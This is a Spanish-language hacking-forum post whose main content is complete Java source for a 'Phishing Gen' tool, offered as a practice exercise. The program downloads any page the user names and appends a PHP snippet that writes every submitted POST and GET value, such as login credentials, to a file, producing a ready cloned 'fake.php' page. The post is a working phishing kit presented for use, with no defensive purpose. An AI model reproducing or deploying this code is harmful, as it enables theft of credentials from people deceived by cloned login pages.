elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Entrar al Canal Oficial Telegram de elhacker.net


+  Foro de elhacker.net
|-+  Programación
| |-+  Programación General
| | |-+  Java
| | | |-+  [Java] Phishing Gen 0.1
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: [Java] Phishing Gen 0.1  (Leído 1,291 veces)
BigBear


Desconectado Desconectado

Mensajes: 545



Ver Perfil
[Java] Phishing Gen 0.1
« en: 12 Febrero 2013, 18:07 pm »

Tratando de practicar este lenguaje hice este simple generador de fakes.

Código
  1. //Phishing Gen 0.1
  2. //Coded By Doddy H
  3.  
  4. import java.util.Scanner;
  5. import java.net.*;
  6. import java.io.*;
  7.  
  8. public class Main {
  9.  
  10.    public static void main(String[] args) throws Exception {
  11.  
  12.        String code;
  13.        String iny;
  14.        String pagina;
  15.  
  16.        Scanner host = new Scanner(System.in);
  17.        System.out.println("\n\n-- == Phishing Gen 0.1 == --\n\n");
  18.        System.out.println("[+] Pagina : ");
  19.        pagina = host.nextLine();
  20.  
  21.        iny = "<?php $file = fopen('dump.txt','a');foreach($_POST as $uno => $dos) {fwrite($file, $uno.'='.$dos.'\r\n');}foreach($_GET as $tres => $cuatro) {fwrite($file, $tres.'='.$cuatro.'\r\n');}fclose($file); ?>";
  22.  
  23.        code = toma(pagina);
  24.  
  25.        savefile("fake.php", code + iny);
  26.  
  27.        System.out.println("\n[+] Fake Ready");
  28.  
  29.        System.out.println("\n\n-- == Coded By Doddy H == --\n\n");
  30.    }
  31.  
  32.    private static String toma(String urla) throws Exception {
  33.  
  34.        String re;
  35.  
  36.        StringBuffer conte = new StringBuffer(40);
  37.  
  38.        URL url = new URL(urla);
  39.        URLConnection hc = url.openConnection();
  40.        hc.setRequestProperty("User-Agent", "Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12");
  41.  
  42.        BufferedReader nave = new BufferedReader(
  43.                new InputStreamReader(hc.getInputStream()));
  44.  
  45.        while ((re = nave.readLine()) != null) {
  46.            conte.append(re);
  47.        }
  48.  
  49.        nave.close();
  50.  
  51.        return conte.toString();
  52.    }
  53.  
  54.    private static void savefile(String nombre, String texto) throws Exception {
  55.  
  56.        FileWriter writer = new FileWriter(nombre, true);
  57.        writer.write(texto + "\r\n");
  58.        writer.close();
  59.  
  60.    }
  61. }
  62.  
  63. //The End ?
  64.  


En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
Phishing en tuenti « 1 2 3 »
Bugs y Exploits
dani__ 24 19,028 Último mensaje 30 Agosto 2010, 17:39 pm
por Caselles
[Ruby] Phishing Gen
Scripting
BigBear 0 1,801 Último mensaje 7 Octubre 2011, 01:31 am
por BigBear
Intento de Phishing
Seguridad
Pablo Videla 6 4,800 Último mensaje 8 Mayo 2012, 17:29 pm
por Saberuneko
Phishing
Hacking
MiniValy 1 2,702 Último mensaje 22 Febrero 2021, 13:42 pm
por el-brujo
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines